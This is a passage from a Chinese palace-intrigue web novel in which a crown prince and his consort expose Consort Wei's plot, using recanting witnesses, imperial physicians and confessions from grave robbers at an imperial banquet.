谁知太子竟这般正式恳请起元隆帝还他那个妾的公道来了,这还真是……
男人们看太子的眼神变得兴味,女眷们看槛儿的眼神则有点儿别的东西。
槛儿也没想到太子会在这样的场合向元隆帝请旨,不过她反应很快。
闻言只顿了一下便跟着上前,在太子的侧后方向元隆帝行了一记大礼。
“请陛下为妾身做主。”
陈月娥惊恐地瞪大眼,两只充血的眼珠子恨意滔天地盯着槛儿。
董大力浑身都在抖。
董娇杏也好不到哪去,董茂生则被秋穗娘摁着头憨憨傻傻地跪着一动不动。
魏嫔咬紧牙看着这一切。
元隆帝的视线在太子及跪着的一众人身上扫视,旋即在众人紧张的注视下指尖在御案上轻敲两下。
“略买卖良家女,**良人未遂,诽谤诬构太子侧妃,陈月娥,斩。”
“董大力同罪,斩。”
第228章 “宋良娣好利的一张嘴!”
陈月娥和董大力被带了下去。
来的时候飘飘然,甚至做好了今日过后摇身一变成为富家太太的陈月娥哪里会想到,自己这就要被**了。
她恐惧害怕。
好似已经看到了刀架在脖子上,看到了自己的脑袋在地上咕噜噜乱滚。
不,她不要被**!
她只是照别人交代的办事,相当于她就是个跑腿的,凭啥她要被**?
啥婚律?啥不作数?
宋槛儿那死丫头是她花了整整二两银子买来的,那就是她儿子的媳妇!
她花了钱的,她还不能想打就打想骂就骂,想不给饭吃就不给饭吃了?
凭啥?!
陈月娥恐惧又怨恨,被押出去时还使劲扭着脖子目眦欲裂地瞪视着槛儿。
那样子,完全是把槛儿当成了仇人。
董大力则脸上一片死灰。
像是没听到陈月娥的声音也似,双目空洞麻木仿佛一具行尸走肉。
然陈月娥也好,董大力也罢。
槛儿谁都没有看。
元隆帝没说怎么处置董茂生兄妹和秋穗娘,不过顾及到董茂生的情况。
三人暂被带去了别的地方。
一同被带下去的还有赵盛。
“魏嫔,你还有何可说?”
元隆帝道。
大抵是气极,魏嫔这会儿反倒冷静了下来,闻言她深吸一口气道:
“他们是妾身找来的,按理不该不利于妾身才是,可实际却是一家人有三个矢口否认。
太子还恰好寻到了据说是收买了他们的人,短时间内指向妾身的人证物证如此齐全,很难不让人怀疑这本就是针对妾身的一场局。”
真不愧她浸淫后宫多年。
这颠倒黑白的功夫当真有一手。
“意思是你不认此事是你所为。”
元隆帝淡淡道。
魏嫔:“妾身不认,陛下您方才也看到了,那陈氏言行粗鄙,周身乡野之气。
这种人最是容易被利用,妾身日日身处后宫之中,娘家于京中又已无人,想要栽赃陷害妾身简直易如反掌。”
说着话,她往太子和裴皇后身上斜了两眼,就差直说陷害她的就是他俩了。
元隆帝意味不明地笑了一声,遂看向宗亲那边,“诸王叔伯以为?”
贤老郡王与恭亲王对视一眼。
不明白这种人证物证俱在的情况下,圣上分明不必理会魏嫔的诡辩。
下旨拿人便可。
为何还要多此一举地问他们。
这可不是皇帝的行事风格。
不过转瞬间两位老王爷就反应过来。
宋良娣的这起流言算是澄清了,那不是还有另一起太子不能人道的吗?
所以照陛下这会儿所表露的意思,太子的那起流言也和魏嫔有关?
这是刻意在给魏嫔出招的机会,如此也好一并将这些事都给解决了?
思及此,恭亲王看着魏嫔,“人证物证俱在,不是你不认便能脱罪。
你究竟有没有行此等大逆不道之事,拿你的贴身宫人一审便知,还是说魏嫔娘娘有其他自证之法?”
魏嫔当然也察觉到了元隆帝的异常,包括太子与他那个妾的反应,以及那一家子的反水和赵盛的出现。
这些都说明这两日在她不知情的情况下东宫跟元隆帝一样,已经知道宫外的那些流言有她的手笔了。
而元隆帝这会儿之所以没有凭赵盛的供词和证物下旨让人拿她。
明显是在等她接下来的招。
魏嫔在心里怒极反笑。
她还真就不信了。
董家的人和赵盛会被他们控制,是因为有姓宋的了解董家在先。
就皇帝而今对东宫的态度。
不用想也知道肯定把锦衣卫的指挥权给东宫那崽子了,如此顺着董家人找到赵盛还不是易如反掌?
可他们凭什么会觉得一定能破她接下来的局?魏嫔真不信这个邪了!
她看着恭亲王轻勾了一下唇道:“自证之法没有,证人倒是还有。”
恭亲王:“什么证人”
“自然是能证明宋良娣清白与否的证人。”
裴皇后便笑了。
“是证明宋良娣清白的证人,还是证明其不清白的,你这会儿便说清楚,也免得你稍后再自打嘴巴。”
魏嫔皮笑肉不笑,“有劳娘娘提点,不过您放心,妾身不会自打嘴巴。”
裴皇后挑眉,抬手做了个请的手势。
到这个时候在场之人若是还看不出魏嫔和中宫一系之间的剑拔**张。
那可真就是白瞎一双眼了。
不过想到被幽禁在十王府的前睿王,众人又能理解魏嫔的这种豁出去。
贤老郡王配合地明知故问:“不知魏嫔娘娘所谓的证人现在何处?”
魏嫔假模假样道:“说来也巧,人就在宫里当差,还请陛下准其入殿。”
说着,报出了对方的名字和司职。
跟着没要到两刻钟,人被带了过来。
此人不是别人,正是郑明芷正式确定要让槛儿去伺候太子之前,负责给槛儿验身的司寝司的嬷嬷。
此外还有一人。
据魏嫔胡说八道,称是她出于对社稷的忧心找寻董家人证宋良娣清誉时,她的人碰巧在宫外遇上的。
一个于前年腊才月被放出宫,曾在东宫做过太子的随行宫人的宫女。
而除此之外还有一个很多人意料之外的人,便是宫外那户农家找来给金承徽验身的婆子——周翠菊。
这么一个远在京郊二十多里外的婆子就算要进宫,也必定少不了层层审查。
可魏嫔却能像召董家人进宫那般,请奏元隆帝这就把人给宣进宫了。
可见也是提前便准备好的。
不过既然魏嫔已经和中宫一系撕破了脸,元隆帝又默许了她的这些举措。
自然没人蠢得站出来质问。
而事情发展到现在,众人除了想知道这次事情的真相,便是想看当下的事态最终会是怎么样的走向。
在询问证人之前,魏
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嫔先看了眼太子。
遂环视在座诸位道:“元隆十六年七月,太后她老人家为太子赐下三妾。
元隆十八年冬月太子与太子妃大婚,及至去岁四月中旬,此三年零七个月期间东宫后宅共计妻妾四人。
除去前两年太子为太后服丧,剩余一年零七个月,按常理太子有妻妾四人,不至于一个子嗣也无。”
“然事实直至去岁太子新纳一妾宋氏,于当年六月底诊出了喜脉。
换言之此前太子妻妾四人都不曾有孕,宋氏一来,东宫便有了好消息。”
“这会不会太过蹊跷了?”魏嫔的视线落到槛儿身上,语气别有深意。
这个问题早在前天流言疯传的当晚,在场的人中就有人这么想过了。
这会儿听魏嫔这么说,大伙儿面上没多少表现,心里多数也是狐疑的。
“另外……”
魏嫔问完那句话后继续道。
“按妇人妊娠时间论,大公子据说是八个月半早产,然从大公子得陛下赐名至今。
大公子的身量块头可是与‘早产’沾上半点关系?诸位就没觉得奇怪?”
呃。
这个问题还真没人觉得奇怪。
一则孩子八个多月早产属于正常情况,二则太子便是个大块头。
儿子随了他不也正常?
“审问证人之前,太子与宋良娣可否就这两个问题为妾身等解惑呢?”
魏嫔似笑非笑地问。
骆峋无视其他人若有似无的视线,淡声问:“孤为何要为你解惑?”
魏嫔没料到都这个时候了,东宫这崽子居然还摆出这么一副态度。
她扬起的嘴角拉了下来。
“殿下确实无需为魏嫔娘娘解惑。”槛儿站在太子的侧后方,柔声道。
“我大靖律刑律有明文在册,凡对皇室成员有亵渎、轻慢、冲撞者,杖一百至流三千里,情节重大者斩。
魏嫔娘娘乃后宫侍妾,这般公然质问殿下已属以下犯上,当按大不敬论。”
太祖有训后宫不得干政,东宫子嗣涉及国本,魏嫔娘娘俨然触犯干政禁令。”
“您也别说什么您此举便是为了国本社稷计,您若真有此大义,便不会有此一问来动摇他人对殿下的信任。
不会一味质疑妾身的清白与殿下之隐私,指鹿为马地否定大公子的皇室血统,当众败坏皇室颜面。”
“破坏内廷体统,失仪悖礼,违逆纲常!"
最后一句,槛儿刻意拔高音调。
其神情坚定,态度从容专注。
一字一句振聋发聩,再度让众人刮目相看,上首处的裴皇后不显地勾了唇角。
骆峋垂了下眸,余光在那抹绿松石的宫绦上顿了一瞬,笑意一闪而过。
“宋良娣好利的一张嘴。”
莹贵人出声道。
“但宋良娣怕是忘了,我等虽为后宫妇人却同样是大靖子民。
所谓位卑不敢忘忧国,我等身为大靖子民,忧心国本社稷又有何不对?”
第229章 金承徽为何至今完璧?!
莹贵人最看不惯立身不正之辈,在她看来东宫的这位良娣便是这类人。
外人不清楚,她们身在后宫却是偶尔有听说东宫后宅的一些情况。
这位宋良娣是太子妃选出来伺候太子的,太子妃于其而言有提携之恩。
但凡是有良心的,就该知道滴水恩涌泉报。
然宋氏做了什么?
霸占太子的宠,太子妃受身边的奴才牵连被禁足时也没听说她出面求情。
也没见她当着裴皇后的面为太子妃说好话,让太子妃尽快解禁什么的。
忘恩负义的白眼狼,不外如是!
“忧心社稷自然没有不对。”
槛儿目光不躲不闪地接话道。
“但前朝百官替陛下分忧尚且要提前上疏,后宫女眷也有上简疏之权。
莹贵人想为陛下分忧可以按规矩办事,如此既能显贵人一片忠君爱国之心,又能无损皇家与陛下的颜面。”
“然莹贵人却选择了在陛下的万寿节,当众揭出此事,妾身斗胆一问。”
“莹贵人是想替陛下分忧,还是替陛下增忧?”
殿中静得诡异。
这回连元隆帝也不免对槛儿侧了侧目。
莹贵人气红了脸。
“你!你……”
“行了。”
元隆帝打断她的话。
“是不是想替朕分忧你们心知肚明,不要把时间浪费在逞口舌之能上。
开始问话吧,这三人都是魏嫔找来作证的,那这次就由魏嫔来问吧。”
槛儿从善如流地低眉敛目。
莹贵人又尴尬又恼地坐回位置,同时没好气地瞪了槛儿好几眼。
魏嫔只当没听出元隆帝的话外音,装腔作势地谢了恩看向殿中的三人。
“便从宫外的人开始问,周翠菊,不管我问你什么,你都要老实回答。”
周翠菊的反应和不久前的秋穗娘、董娇杏没两样,身子几乎缩成一团。
闻言战战兢兢道:“是、是……”
魏嫔:“你家是做什么的?你又是做什么的?”
“回、回贵人的话,老婆子家世代都是干坐婆这一行当的,就是接生婆,时不时也干给人验身的事。”
“你可验得准?”
周翠菊:“准,准的,老婆子打小干这一行,到现在做了快五十年了。”
“金承徽的身是你验的不是?”
确切来说是金承徽的尸身,但魏嫔自觉晦气,便有意略了一个字。
周翠菊不知道啥是承徽,不过她在来之前就被人交代过要咋说话了。
也知道她之前验过身的就是这人,因此周翠菊听了忙不迭点头称是。
魏嫔:“你查验的结果为何?”
“老婆子给这位姓金的贵人验了身,这位贵人是……是处子之身。”
这是流言中早有的事,但亲耳听验身的人说显然又是另一番感觉。
魏嫔眼底的笑意一闪而过,却还是装模作样地斥了一句:“当着陛下的面,你可想好了实话再说!”
周翠菊忙又是磕头又是求饶,一再称自己说的是实话,金贵人就是处子。
于是魏嫔再度环视众人。
“金承徽入东宫四载有余,至其过世之前东宫后宅拢共只女眷五人,岂料金承徽至今却仍是完璧……”
“不知太子可否解释一二?”
骆峋面不改色,“此乃孤后宅之事,孤无需向任何人解释任何事。”
魏嫔:“太子的意思是无话可说?”
骆峋抬了抬手。
“你先说,等你与你的人说完孤再说。”
魏嫔不喜他这般风轻云淡的样子,就跟他那娘一样,衬得她如跳梁小丑。
不过她现在倒懒得计较。
“冯春妮。”
冯春妮便是以前做过太子的随行宫人的那名宫女,冯春妮是其本名。
她在宫里当差时叫素薇。
“你早年于东宫做过太子的随行宫人,日常随太子去过哪些地方?”
冯春妮额头抵着地面,到底是在太子跟前做过事,答话时便流畅利落很多。
“回魏嫔娘娘,民妇此前主要随殿下在元淳宫、练武场及后宅走动。”
魏嫔:“你可有跟随太子涉足太子妃、曹良媛、金承徽等几位主子居所?”
“回娘娘,有。”
魏嫔:“几位主子侍寝时,你可有在外听候差遣?”
冯春妮答是。
“那我问你,你可记得太子与后院几位主子相处时亲近与否,夜间你在外守着时可有听闻屋中异动?”
涉及太子的房中事,魏嫔的话一说完两边年纪稍小但已知事或是脸皮薄的人脸“唰”一下就红了。
年长的恭亲王妃“腾”地站起来扬声道:“请魏嫔娘娘慎言!当众谈论太子的房中之事成何体统!”
另有宗亲老王妃应声附和。
魏嫔诡辩道:“妾身问的是异动,又没说具体什么异动,二位不必动怒。”
不待两人与其他人说话,她重新转向冯春妮,“你说,有是没有?”
冯春妮前年出宫之后就嫁了人。
嫁的是个庄稼汉子。
不幸的是两人刚成婚不久的当头,她男人上山砍柴不小心摔了一跤。
腰给摔坏了。
及至现在人一直靠躺跟吃药养着。
家里的银子差不多都花出去了,冯春妮早年在宫里挣的钱和出宫时典玺局发的赏赐银钱也所剩无几。
也就是在她愁眉不展的时候,魏嫔的人找上了她,一出手就是一百两。
对方也没让她编瞎话作伪证什么的。
就是问了她几个问题,听了她的回答后就让她进宫作证,让她实话实说便是。
太子是个冷人,平时有事都是海总管吩咐他们这些底下的人去做。
冯春妮在东宫当差时活计轻松。
太子也不会迁怒他们,所以她在东宫的那几年日子算是比较好过的。
冯春妮知道魏嫔就是从前的魏贵妃,从来就跟皇后娘娘和太子不对付。
对方找上她,明摆着是要给太子使绊子,按理冯春妮不该
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帮魏嫔的。
可魏嫔的人拿银子解了她的燃眉之急,她男人也需得银子养身子。
于是冯春妮一咬牙,答应了。
可现在听着太子的声音,她害怕了。
魏嫔故意曲解。
“有就有,没有就没有,你只管说实话便是,还是说你有什么难言之隐?”
冯春妮被逼问得心里一急。
回过神来话已经说了。
“没、没有难言之隐,民妇此前随殿下前往后院几位主子的住处,夜间在外并未听闻屋中有何异动。”
尚不知事如韶宁郡主、瑜姐儿、映哥儿等听得一头雾水,曜哥儿也不懂。
毕竟他做魂魄时一旦到了娘和父王晚上睡觉的时候,他就会被关在门外。
啥也听不见,看不见。
不过曜哥儿知道这人说的这些肯定不利于他爹娘,他不禁有些着急。
而这头,裴皇后的脸沉了下来。
魏嫔一刻不停地问:“太子可有去金承徽处?去了可是不曾有异动?”
也是巧,冯春妮出宫的几天前刚好就跟着太子去过金承徽所在的香叶轩。
冯春妮:“去、去了,民妇没听到什么,也、也可能是民妇耳聋没……”
“屋里当晚可有叫水?”
“魏嫔藐视储君,泄露宫闱秘事,窥探禁中干政乱宫,请陛下裁断。”
魏嫔打断冯春妮的话紧着追问,却是话音刚落便听上首处的裴皇后出了声。
元隆帝很自然地接话:“暂先贬为庶人,如何赐死看接下来事态如何。”
下面有人差点给笑出来。
魏嫔气笑了,嘴角发狠地抽搐了两下,然后眼神阴沉地看向冯春妮。
“说!可有叫水?!”
她这也真是什么体面都不要了。
冯春妮被斥得身子一抖。
“有、有叫……”
魏嫔顿时像是抓着了什么把柄似的,当即高声道:“没有异动有叫水,侍寝的人至今却是完璧,为何?!”
没人答她。
骆峋神色冷淡地看着她,丝毫没有被当下的局势步步紧逼的紧迫感。
槛儿的脸微微泛白,但神色与他如出一辙。
魏嫔原也没指望他们回答。
所以见状也不恼,只笑了一声便看向了跪在冯春妮左边的嬷嬷。
“杨巧珍,你在宫里哪个地方当差。”
杨嬷嬷:“奴婢在司寝司当差。”
“去年三月,太子妃可有让你去给宋良娣验身?”魏嫔问道。
杨嬷嬷:“有这回事。”
魏嫔眸底恶意的笑几欲藏不住,“哦?那你给宋良娣验身的结果如何?”
杨嬷嬷沉默,头低得更低。
所有人的目光**在她身上。
不多时,杨嬷嬷开了口。
“宋良娣,是清白之身。”
“魏庶人派人寻着奴婢,收买奴婢污蔑宋良娣在伺候太子殿下之前便失了贞,还请陛下、娘娘明鉴!”
哈?!
魏嫔的嘴角一僵,瞳孔几乎缩成一根针。
第230章 魏嫔懵逼?!推翻金承徽验身之论!
方才一听此人是给宋良娣验过身的司寝嬷嬷,信王妃等人就知道魏嫔这是要把整个东宫都给拉下水了。
毕竟宋良娣一开始是太子妃的人,请人给其验身的自然也是太子妃。
若当时查验宋良娣乃清白之身,这时候又不是,太子妃定然逃不过追责。
魏嫔只要给太子妃扣下一顶胁迫司寝宫人**,妄图混淆皇族血脉的帽子。
加之司寝宫人的证词,是时内务府的记载便算是被推翻了,没用了。
而清白这种事,黄花大闺女尚且有自证之法,妇人一般就是百口莫辩了。
于是众人刚刚还想着看太子与宋良娣要怎么接下魏嫔的这一招。
哪知这姓杨的宫人竟是忽然来了一记回马枪,捅到魏嫔自己身上了!
这不就是不久前董家几人的情况再现?
董家的人魏嫔可以说他们出身村野人在宫外,容易被人买通不足为奇。
可这个司寝宫人在宫里待了多年,魏嫔收买了人也必定派了人暗中盯着。
且魏嫔才先声夺人审问了前两个证人,最后一个怎么着也该是要坐实或者更进一步佐证前两者的证词。
岂料到此竟是猝不及防来了这么一出。
看戏的人没料到,魏嫔更没料到。
诚如旁人想的那样,这姓杨的婆子她叫人买通之后就一直派人暗中盯着。
现在这是要闹哪样!这死婆子莫不是忘了自己的家人还在她的人手上了!
“你休得胡说八道!”
收买的人接二连三反水,魏嫔终究没压住心里的火气,气急败坏道。
“你是我引进殿作证的,你能在这儿就表示你的立场和你适才所言不一致。
你说!究竟是谁指使你这般坑害于我的?你从实招来我尚且能放你一马!”
是气话,也是威胁。
不是放杨嬷嬷一马,而是提醒对方别忘了自己一家子的命还捏在她手上。
杨嬷嬷当然没忘。
魏嫔派去找她的人说了。
她若敢不听话或是出尔反尔,等事情结束消息传到宫外,她家里人第一时间没命。
也因此,杨嬷嬷答应了出面做伪证。
她也知道魏嫔的人一直在暗中监视她,所以这几个月她都不敢轻举妄动。
但前天东宫的流言在宫里宫外传开之后,大抵是觉得大局已定了,杨嬷嬷发现监视她的人有所松懈。
于是她找准时机把人给甩开了,准备去坤和宫找皇后娘娘为自己做主。
杨嬷嬷在宫里待了近三十年,太清楚后宫大部分贵人主子们的德性了。
在她们眼里,奴才都是蠢的,是受了钳制后便连脑子都不会转动的。
只能认命地受制于人。
呵。
杨嬷嬷与东宫的关系不甚亲近,与坤和宫那位也没打过什么交道。
可她知道裴皇后仁慈,太子抛开个人性情来说宽厚贤明,将来定会是一位明君。
身为大靖子民,放着这么一位正统的好储君不拥护,反而去帮一个不知犯了什么大罪被幽禁的庶人。
她傻吗?
因着这样的想法,杨嬷嬷从魏嫔的人找上她开始便一直在寻机去坤和宫。
若不然便想把消息递出去,好在昨天上午终于让她逮着时机把人给甩了。
而巧的是,她刚出去没多久就跟东宫来找她的海顺给碰上了。
去岁她给宋良娣验过身,内务府和典玺局都有记载,杨嬷嬷一看便知海总管怎么寻来的,又为何寻她。
于是她没有丝毫犹豫便跟对方到了太子跟前,把魏嫔拿她的家人威胁她一事原原本本告诉了太子。
请太子为她做主。
这才有了此时此刻的这一场。
此外杨嬷嬷还从海总管那儿知道了,先提议太子让人找她的,是宋良娣。
“没有人指使奴婢坑害您。”
杨嬷嬷微垂着头,不卑不亢道。
“奴婢所说皆是实话,今年四月中旬,是魏嫔娘娘您使人寻了奴婢,试图用钱财收买奴婢为您做**。
奴婢不依,那人道奴婢敬酒不吃吃罚酒,便当着奴婢的面报出了奴婢家里人的名儿和他们在家的情况。
以奴婢的家人为要挟,迫使奴婢做**,这些都有迹可循,找奴婢的那人……”
跟着,杨嬷嬷就描述出了最先找上她的那人的模样,以及后面被她察觉到监视她的人的名字与样貌。
全仕财当即代元隆帝发话。
派了人去内务府逮人。
当然,这俩人昨儿就被太子的人锁定了,这会儿充其量算是走个过场。
而除了这俩人,锦衣卫还很适时从宫外带回了监视杨嬷嬷家人的一个人。
被全仕财叫人逮来的那两人是一个宫女一个太监,被带来后供出了另外两人。
此二人则又供出了魏嫔身边的砚棋砚书两个大宫女,至于宫外的那人。
锦衣卫将其带到诏狱去审了才押过来的,也没费什么功夫就当廷招了。
说他是承德候留在京中的人。
承德候就是前睿王妃郭氏的爹啊。
郭氏被贬为庶人后承德候也被削了爵,之后一家子被流放到开化府了。
但承德候此前也是京中排得上号的勋贵,就算被流放了,京中依然存着其暗中留下的人脉也属正常。
何况前睿王妃至今在大觉寺修行。
魏嫔作为其亲婆婆,能跟她娘家的人取得联系当然也在情理之中。
如此便也能解释得通,为何魏嫔一介深宫妇人能在整个京城搅风搅雨了。
承德候的人必然不止这一个。
而魏嫔手底下的人也必然不只是她儿媳这边的,其中肯定有前睿王的插手。
事情发展到这儿,俨然是又把皇子之间的争斗给摆到了明面上来。
魏嫔简直要气疯了!
可她也知道越是这种时候越要保持冷静。
一旦乱了心绪便是她输了,如此岂不正中元隆帝跟中宫一系的下怀?
所以,哪怕殿中后来跪着那些人都指认她是整件事的主谋,魏嫔也在短暂的气急败坏之后恢复了理智。
“有人铁了心要害我,我就是有一百张嘴也说不过你们,就当我主使的好了,但诸位别忘了她二人方才的话。”
魏嫔强词夺理道,末了再度转向给金承徽验过身的周翠菊和冯春妮。
“金承徽在东宫……”
“周翠菊。”
骆峋打断魏嫔的话头,冷冷唤道。
周翠菊早被殿中刚刚的阵仗给吓得魂不守舍了,闻言哆哆嗦嗦应了声。
骆峋:“孤再问你一遍,你说你为金承徽验身,确认其为完璧,此言可为真?”
“是、是!民妇不敢扯谎!不敢扯谎!”
“但孤说你在撒谎。”
骆峋的神色直至此时终于显现出几分冷冽,声音也难得一见的沉厉。
“御医何在?”
今天的家宴有御医值守,有人在
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偏殿值守,有人则就在宴席角落。
闻言,角落处的两名御医便应了声。
“臣等在。”
骆峋看着周翠菊,话是对御医们说的。
“金承徽已故八月有余,此妇人言能为其验明正身,此言虚实几何?”
钱御医道:“回殿下的话,关于这方面的论言许会有失体统大雅……”
“无妨。”
元隆帝道。
“这件事就没有体统可言,话既然说到这儿了便是什么就说什么。”
钱御医道是。
之后答称:“妇人之下乃人体脆弱微薄之部位,不论未婚已婚,人亡故以后最先液化之处便为此处。
女尸腐溃,其下夏季半日可见,春秋二日,冬三日则皮脱汁流。”
“皇墓有防腐保养,却是不能做到周全,按理金承徽早已无法验明正身。”
另一位程御医点头附和,顺道问:“不知这位妇人是用了何种手段为亡故半年有余之妇人验的身?”
周翠菊咋验的身?
当然是拿最原始粗暴的法子,用手或是啥东西随便探探就完事儿了。
反正寻常人又不懂这些。
还不是他们这些专业人士说啥就听啥,反正周翠菊家一直都这么干的。
他们那边姑娘家定亲前都要验身,可这事儿真说起来其实是没个准数的。
有些丫头摔一跤就给摔撕裂了,哪检查得出什么处子不处子的啊。
可这事寻常人不懂啊。
反正一验不是处子那就是不贞洁不清白的,殊不知周婆子她们有时检查的时候也容易给人弄伤。
可就仗着没人懂,她们又不想担责,于是直接就说这姑娘不清白了。
这样的事周婆子几十年可没少做。
而给女尸验身这事他们家也经常干,其实就跟这位御医说的差不多。
都烂了,能验出啥啊?
可谁叫他们那一片地方没人懂这个呢,周婆子也就能忽悠一个是一个。
而在那户农家去找她之前,有一个人早找过她了,问她能不能给那具女子验身。
周婆子见那人也是个不懂的,自然就点头说能了,后面那人又让她来作证。
周婆子猜测那人背后的贵人对这事也不懂,看在银子的份上便照旧应了。
却是没想到阴沟里翻了船!
碰上比她更懂行的了!
周翠菊眼界有限,又钻进了钱眼里。
事先哪能想到给皇帝老爷看病的,那都是从各地大夫里精挑细选的呢。
这会儿听那叫御医的这么说,又问她,周翠菊撑地的胳膊当即一软。
差点没栽个狗啃屎。
“民妇、民妇……”
“伪造皇室成员身体证据,误导圣听,暗示孤无法人道,左道乱政,编造腐尸能验女子清白,妖言惑众。
按律,周翠菊当先处凌迟,再枭首示众。”骆峋眸光冷厉,一字一句道。
周翠菊不懂这些贵人们说话为啥这么文绉绉的,也不懂啥是枭首。
可她知道凌迟啊。
那不就是把活人的肉一片片给剐下来?!
周翠菊差点当场厥过去。
却是顾不得厥,立马就求饶起来。
把之前有人找她给金承徽验身、她自作聪明地接下了这桩活的事等等。
一股脑儿吐了个一干二净。
指着太子老爷能绕过她。
魏嫔听完周翠菊的话眼前阵阵发黑,**的人不能验身?不能验?
第231章 真相大白!太子:“请陛下为东宫做主!”
其实不是魏嫔蠢。
实在是她对这事当真不了解,若不是当初她儿子被贬,朝中可用之人被肃清了大部分。
致使她在太医院无人,她也不至于往宫外递消息,让人在外面找人问。
就是怕出错,所以她是先问了能不能验身,确定之后才安排人手掘墓的。
结果现在告诉她不能!
是那婆子自作聪明误导了她?!
魏嫔的脑袋嗡嗡的。
她犀利的目光猛地射向冯春妮,暗道这贱婢莫不是也要矢口否认吧?
念头刚起,便听太子对她道:
“周翠菊翻供,冯春妮之言孤无需予以回应,你说得差不多了,轮到孤说了。”
说罢,不给魏嫔应声的机会。
“带上来。”
魏嫔一怔,下意识朝门口看去。
其他人也看过去。
就见以马擎岳为首的锦衣卫押了八个男人进来,其中三个是墓园的。
一个负责金承徽所在地处日常维护的管事,一个其身边不入流小吏,另一个则是负责那处守卫的小兵。
另外三人模样装束很是粗犷,略显邋遢,一看就是宫外某个流派的。
显然也都是受过审的。
最后两人皆是四十出头的样子,和朝中多数文官的气质大相径庭。
等几人被押着跪下,海顺代太子问了话。
先让墓园的那三个自报家门,旋即便问起金承徽之墓被盗的始末,以及他们当时为何没在当时将此事上报。
受过审的三人也没什么可辩解的,当即就将事情的来龙去脉明明白白给招了。
据墓园管事的说。
便是那两个文官模样的人其中一个留山羊胡的,在他休沐时在酒楼里与他搭上了话。
男人之间的话题反正离不了酒肉女人,一来二去两人唠着唠着便就熟识了。
而墓园那边整体管理较为松散,不少人当值期间也能办自个儿的私事。
山羊胡便渐渐开始去他当值的地方找他,期间两人顺势聊起了他管辖范围内的那些个宫嫔墓的一些事。
自然而然提到了东宫的那个妾。
而在山羊胡去找他的期间,那人跟那片地方的小吏小兵也打上了交道。
九月中旬的某天晚上。
山羊胡称自己在赌坊大赚了一笔,便来了墓园说他在楼子里订了好菜。
请他们大伙儿一起吃酒吃肉。
这种事在墓园那边很常见。
算不得啥,所以当天晚上管事的跟那片地方的小吏小兵们都喝了个烂醉。
倒头就睡得不省人事。
之后醒来就发现,金承徽的墓被掘了!
尸身都不见了!
虽说朝廷平时管不到这边,但到底前两年才出过类似的事,若不然皇帝也不会往这边增添那么多小兵。
可惜来的都是些毛头小子,被老油条稍微一带,就跟着一块儿松散了。
若只是盗墓还好,关键尸身不见了啊,这可比单纯的墓被盗性质严重多了!
管事的吓跪了。
几乎可以想到事情一上报,他只有死路一条。
也就是在这时,跟他很是亲近的一个小吏和小兵提议说要不不上报。
反正朝廷又管不到这边来,就算来检查也不可能挖开来检查,大不了他们弄具尸体回来以假乱真就好了。
反正城外乱葬岗多的是没人认领的女尸。
管事的本就害怕,听他们这么一劝便动摇了。
不过他倒也没马上让人弄假的尸体回来,就寻思着先观察一段时间。
若是一直没风声走漏,空着也行,反正就像他们说的又不会挖开检查。
而说起走漏风声。
当时在场的其他小吏小兵管事的都威逼利诱地给封了口,唯独那山羊胡。
不见了!
墓园管事顿时就知那人有问题。
幸好。
他做事向来习惯留个心眼儿。
刚跟山羊胡打交道时便叫人暗中跟了对方几天,知道对方常去的几个地方。
只可惜没等他把人逮到,就出事了。
几乎墓园那边刚听到有关金承徽的流言,后脚东宫和宗人府来人了。
把凑一起商量对策的管事和之前出主意的小吏、小兵给逮了个正着。
锦衣卫据墓园管事所供,循着山羊胡去过的地方于昨天下午把人堵上了。
此人也不是别人,正是前睿王的幕僚之一。
为什么是幕僚出来办这样的事,而不是派手下或是买通外人来办这事。
究其原因是顾虑到前睿王现今处境不妙,这桩事又不小,这山羊胡幕僚便担心其他人会把事情办砸。
于是便亲力亲为了。
而这一切魏嫔自然是知情的。
当然,魏嫔没见过儿子的幕僚,但这并不影响两人暗中递消息。
也因此听完墓园那三人的招供,魏嫔立时认出了低头跪着的山羊胡。
这回她是真的差点没站稳。
脑子里嗡嗡嗡的。
却是没给她任何开口的机会,海顺又问起了那三个模样打扮都很是粗犷的人。
此三人就不比墓园的人有礼节了,上来先喊皇帝老爷、太子老爷饶命。
然后噼里啪啦一通招供。
大致便是他们是正儿八经的山贼,不是专职盗墓贼,他们的寨子在距京四十里地之外的无牙山。
今年五月中旬,有人通过手下找上他们,说是要跟他们谈一桩大买卖。
具体是让他们去皇家墓园那边盗墓,重点是把那墓里的女尸给偷出来。
墓里的金银珠宝则随他们处置。
起初大当家不同意,觉得晦气。
也觉得太降低身份。
毕竟大多山贼看不起盗墓贼。
而且那可是皇家墓园。
俗话说民不与官斗,贼当然更怕跟官扯上关系,更别说跟皇家扯上关系。
又不是活得不耐烦了。
可耐不住找他们那人舌灿莲花。
尤其说那墓是太子的一个妾的,太子出手大方,给了那妾多少多少陪葬。
完了等事情办成,他又会给他们多少,甚至给了他们二十两金子当定金!
山贼们见状立马把那人从头到脚抢了个精光,之后就决定豁出去一把。
盗墓!
而照那人的说法,尸体不需要他们处理,带出来扔到他说的地方就行。
这对山贼们来说并不是难事,因此一番商议大伙儿按时行动了起来。
说起来这些山贼也是自作聪明。
找他们那人事先说了,让他们盗了东西后至少等到年底再拿到外地去换钱。
如此便能保证他们不会被抓到。
可惜计划赶不上变化。
一堆珠宝首饰摆在面前能看能摸就是不能换了银子,让他们吃香的喝辣的。
这不折磨人吗?
于是就有
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人动心思了。
从一堆陪葬品里挑了几对耳坠子、金珠这种他们自以为比较小,又没有什么标记,不会引人注意的东西。
让心腹去保定府换钱。
心腹去保定府的一家地下当铺换了钱回来,当时也的确没人发现异样。
可他们是外行。
并不知道宫廷内造的东西除了会在明面上标注“内造”等字样,一些小东西上也有不起眼的标记。
当时那地下当铺收他们东西的掌柜老眼昏花没看清,却是被晚上盘点东西的另一个掌柜看出了端倪。
保定府离京城不远,也属京师重地。
在这样的地方干地下当铺自是少不了跟京中达官贵人的某些手下,甚至是跟宫里的人都可能打过交道。
那掌柜一看不对劲,立即跟东家报备了。
东家得知后便派了人调查来换这些东西的人,顺道与京中取得联系。
旋即没两天,京里流言爆发。
恰好当天晚上太子收到鲍富上报的消息,得知金承徽的陪葬品尽数遗失。
以防万一,他下令命锦衣卫搜寻城内外及周边城镇所有当铺,不论明暗。
保定府那家当铺的东家连夜收到京中人脉的消息,一刻也没敢耽误。
第一时间就亲自带着那些东西进了京,正好跟出城的几个锦衣卫撞上。
那当铺当家交了东西的同时,还把他查到的那些个山贼的消息一并给报了。
锦衣卫快马加鞭,没用到两个时辰便将人逮回北镇抚司加以审讯。
这才有了现在这一幕。
